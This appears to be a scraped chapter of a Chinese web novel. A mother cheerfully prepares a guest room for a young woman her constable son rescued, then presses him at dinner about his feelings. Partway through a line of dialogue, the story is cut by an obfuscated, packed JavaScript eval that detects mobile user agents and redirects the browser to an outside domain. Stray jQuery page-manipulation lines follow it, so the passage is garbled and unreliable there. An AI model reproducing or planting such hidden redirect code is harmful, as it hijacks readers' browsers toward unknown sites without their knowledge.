“翠英啊，你说的可是真的，真是我家砚哥儿？”


    周母一拍大腿，声音不自觉拔高，眼神中满是不可置信。


    “废话，当然是真的。”


    翠英嫂子努努嘴，没好气道：“你我姐妹多年，我还能编瞎话骗你不成？砚哥儿也是我看着长大的，又没老糊涂，怎么可能认错，再说了，大家伙都在场，你不信出去问一圈，看看我是不是骗你。”


    “啧，看来臭小子长进了啊！以前半天憋不出一个屁，路过有姑娘摔倒他都跟眼瞎一样，不带扶的，现在连英雄救美都学会了，老母亲的心终于有一点安慰了。”


    周母开怀大笑，身边两人都是多年姐妹，在她们面前没有装模作样的必要，她想到什么就说什么了，调侃起儿子来，丝毫不嘴软。


    翠英嫂子和张春兰也知周母的心结，儿子的婚事让她操碎了心，没少在她们面前吐槽，这会儿自是能体谅她的心情，半安慰半打趣道：“你就知足吧！”


    “砚哥儿有本事，我听我家陈安说，上司准备提拔砚哥儿做捕头，以后手下管着二十个人呢！平日里对你也孝顺，有什么好东西都想着你，上回我家陈安要请酒，衙门里交好的同僚都去了，只砚哥儿没去，巴巴回来陪你去医馆，你说你，也没老到走不动道，有病不会自己去看啊？”


    周母接话：“老毛病根治不了，要不是砚哥儿坚持，我都不想去，浪费银子。”


    她嘴上嫌弃儿子的管束，眉眼间的得意与欢喜却骗不了人，不过炫耀归炫耀，好姐妹夸了自家儿子，自己也不能只受用不回匮。


    她顿了顿，从翠兰嫂子的针线篓里扯出一根黑色丝线，笑道：“别只顾着夸我家砚哥儿，他啊，毛病多着呢！还是你家陈安好，同你亲近，外面有什么趣事都不忘跟你唠唠，我家那个问一句答一句，外头的事我还没你们知道的多。”


    “你们那算什么，论毛病，陈安和砚哥儿加起来都没我们家大牛多。”


    张春兰啧啧两声，想到儿子就头疼，吐槽道：“一点也不讲究，说一百遍都不见改，脾气说来就来，跟个炮仗似的。娇娇也是，自家男人也不管着点。”


    周母深知好友挑剔的秉性，从她嘴里出来就没几句好话，当即不赞同道：“你差不多得了，总揭孩子的短，就你挑剔大牛的几句话我们都听许多遍了，何况大牛自己呢！”


    “是啊是啊！”翠英嫂子跟着附和，真诚的劝说道：“大牛是个实诚孩子，脾气哪有你说的那么坏，还不是你没事找事，总揪着无关紧要的小问题挑剔他，孩子大了，媳妇也娶了，小两口的日子你莫要插手太多，没得惹人烦。”


    “是是是，我都明白，这不是控制不住自己吗？”张春兰无奈叹了一口气。


    她并非不识好歹之人，姐妹们的建议真诚有用，她都记在心里了，只不过习惯的力量太强大，总控制不住自己，嘴比脑子快，多次下来，孩子都要跟她生出嫌隙了，她也愁着呢！


    “哪有什么控制不住，端看你愿不愿意狠心改变，以后想说伤人的话时，你就咬牙忍住，即便话已说出一半也狠心憋回去，时间一长，慢慢就改了，别怕丢脸，自家孩子还能笑话你不成？”


    周母一边念叨一边收拾东西，起身就要走，张春兰忙问：“活还没干完，你要去哪？”


    “还能去哪？回家收拾屋子呗，那姑娘来投亲，闹成这样绝对不可能和好了，没地住，这会儿还在客栈将就着。砚哥儿考虑不周全，当着那么多人的面放出话，不管人家来不来，我都该提前准备好，不能失了礼数。”


    周母笑盈盈留下一句话，哼着小曲回家了。


    翠英嫂子和张春兰对视一眼，也不约而同笑起来。


    周母一到家立马开干，前前后后用了一个时辰，终于将家中唯一的客房收拾干净。


    她心情好了，干活特别起劲，丝毫不觉得累。


    平时家里很少有客人来，客房基本都空着积灰，打扫干净后，周母里里外外检查一个遍，怎么看都觉得房间太空太寒碜了。


    随即她找出一套茶具摆上，又从自己的嫁妆箱笼中翻出一块藕荷色的床帐将原先客房中那块灰扑扑的床帐替换掉。


    床头桌太空，她便去路边摊淘一个浅蓝色的小花瓶，顺便买一束藕荷色绢布制作的假花插进去，搁置在床头，与床帐很是相配。


    从打扫到布置，都是周母一个人忙活，前后花费一个半时辰，屋子总算焕然一新，有个姑娘闺房的样子了。


    她满意地点点头，突然想起什么猛拍大腿，惊呼道：“哎哟，酉时正刻了，我晚饭还没烧呢！”


    说完，她急哄哄赶去离家最近的小菜市称了两斤卤猪头肉，再带一把小青菜。


    回到巷口恰巧偶遇刚下衙的周砚，母子俩一块回家，又一块做晚饭。


    饭桌上，周砚一如既往的沉默。


    而周母好几次想开口询问关于宁秋的事，都在对上儿子目光时犹豫了。


    心里惦记着事，她吃饭也不舒心，余光一直往对面瞅，眼看周砚扒拉完最后一口饭起身走人，她赶忙出声，急急喊道：“等一下，娘有话要问你。”


    “嗯？”周砚回头，面露疑惑，不过还是听话坐回原位了。


    “你没什么话要跟娘说吗？”周母问。


    “什么话？”


    周砚不解，只觉得今晚的阿娘实在奇怪，好几次看着他欲言又止，一副想说话又不知道要说什么的模样，直觉告诉他背后定然有事，果不其然，该来的还是来了。


    他对上自家娘恨铁不成钢的眼神，莫名有些心虚，但他不明白自家娘想听什么，而他自己也没有特别的事要说。


    想了想，他还是遵从本心直接说道：“您老有什么话直言便是，不必试探，您都盯我一晚上了，我又不瞎。”


    “你知道啊？知道还装傻充愣敷衍老娘，一天天的，不让人省心。”


    周母白了儿子一眼，没好气地继续道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570953|171183||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ：“说说吧！午后什么情况，你又是咋想的？现在左邻右舍都夸你孝顺，聘请宁巧娘她侄女来照顾我，我白白受了儿子的孝顺，总该有知情权，不然出去走动旁人问起我都回答不上来岂不是尴尬？”


    “这事没什么好说的，路见不平拔刀相助罢了，什么约定都是孩儿临时找的借口，娘不必当真。”


    周砚不想多说，端起水杯喝了一大口，眼帘低垂，遮掩眼眸中细微的情绪变化。


    “哦，你说不当真就不当真了？”周母心里烦躁的很，俨然是被儿子不以为意的态度气到了，当即吐槽道：“多说两句话你会少几块肉吗？跟地里的癞蛤蟆似的，戳一下屁股就往前跳一下，想从你嘴里多听点大实话可真难。”


    周砚：……


    “怎么，我说你说错了？臭脸给谁看啊？”


    周砚：……


    气归气，周母还是不死心地追问道：“你老实跟娘说，你是不是看上宁巧娘的侄女了？那姑娘叫什么名？你若是喜欢，娘便帮你探探口风。”


    “没有，我们之间什么关系都没有，您别乱来。”


    周砚暗暗叹了一口气，感觉他娘想儿媳妇想的快魔怔了，当即无奈地解释道：“我是捕快，吃的公家饭，违法乱纪之事就发生在咱们家门口，我人在现场亲眼所见，若是什么反应都没有，眼睁睁看着一个无辜的姑娘陷入绝境，如何对得起这身衣裳？在其位谋其职，如此百姓方能信服我。娘，您要是需要人伺候，我给您买个懂事的小丫鬟，不要舍不得钱。”


    “行了行了，解释那么多真难为你了。老娘不需要人伺候，你若有心赶紧娶个媳妇回来，别整那套没用的大道理，赶紧出去该干嘛就干嘛，莫要在我眼前晃悠，看到你就烦。”


    周母嫌弃地摆摆手，将周砚打发出去，缓了好一会儿才平息好翻涌的情绪，收拾碗筷，一边洗，一边盘算着其他办法。


    以自家儿子的性格，没有她从中助力，没有她帮忙操持，这辈子都得打光棍。


    三巴掌拍不出一个屁，哪个姑娘愿意嫁这种人，气都气饱了。


    周母在心中暗暗腹诽，嫌弃归嫌弃，却不能真的放手不管，而且从过来人的眼光看，自家儿子确实对宁家丫头不同，只是他自己没发现而已。


    说什么职责所在，平州城中每天那么多人需要帮忙，男女老少，可怜之人不在少数，他怎么不去可怜别人？也没见他一而再，再而三地帮助其他人啊！


    周母越想越觉得自己猜中了真相，心情都跟着愉悦起来，不知不觉地哼起小曲。


    周砚被赶出厨房也不恼，一笑置之，随即提桶打水，快速地洗去一身尘土。


    晚秋的井水比他想象中寒凉，落到身上时，连他都没忍住打了个哆嗦，鸡皮疙瘩纷纷冒出来。


    不过他有意锻炼自己的体魄，无论天热天冷都一样，冷水从他的肌肉纹理划过，留下一道道水痕，很快又被新的冷水冲刷，一遍又一遍，身体渐渐就适应了。